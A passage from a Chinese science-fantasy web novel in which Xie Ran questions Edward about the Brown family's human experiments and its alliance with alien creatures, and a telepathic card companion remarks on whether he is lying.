谢然拾步靠近书桌,手掌撑在桌面上,居高临下看着他:“为什么要做那么残忍的实验?你们在研究什么需要剥离人的大脑和脊柱?为什么要和异域生物合作?” 强大的威迫感笼罩在额前,男人紧张地咽了口唾沫,强作镇定道:“布朗家同异域生物合作的目的很简单,外界已察觉布朗家在拐卖人口,我们不能坐实这个罪名,需要用异能让那些小羊羔神不知鬼不觉消失。” 所以帕尔德的其中一项异能是痕迹消除,他需要消除一切不该存在的证据。 “还有呢?”爱德华只回答了最后一个问题,谢然紧盯着他的眼睛,不给他一丝躲闪的机会。 爱德华无奈,破罐子破摔道:“我只知道器官买卖的确是个幌子,至于上面那些人究竟在做什么,我一概不知。” 说完,似乎怕她不信,微微抬起下巴,一副引颈受戮的模样面对她:“就算你再怎么问,我也只有这一个回答。” “他没有说谎。”猫猫牌的声音在脑海中响起。 “你用异能算过了?”谢然面不改色,在脑内回。 “没有。”猫猫牌说:“看他表情就知道,他没说谎。” “你还会这个?”谢然有些惊讶:“多才多艺呀,曲星臣。” 猫猫牌被她略带调侃的语气弄得有些不好意思,闭上嘴不再说话。 谢然轻轻笑了下,直起身子说:“不必这么紧张,我也就是随便问问。不管怎么说我的任务已经完成了,其他的事我也不想再多费心。” 爱德华松了口气:“我已经安排好媒体,明早他们就会将异域生物的事报道出去。通稿已经写好了,你要不要看看?” “不用了,我们不会在天曜星多逗留,等常纪明醒了我们就走。”她朝爱德华扬了扬眉:“辛苦布朗先生善后了。” 报道一发出必然会引起全联邦轰动,民众的质疑、恐惧都需要及时回应安抚。甚至还会有帝国残党趁此浑水摸鱼引发难以预估的动乱,这些问题她一个学生统统解决不了,只能交给既有公信力又有实权的骑士团团长爱德华。 交代好一切,谢然离开书房,朝医疗室方向去,打算先看看常纪明的情况。 夜深人静,猫猫牌从衣领下飞出,确认周边没人后小声同谢然说:“爱德华不知道人体实验的事,你知道这说明什么吗?”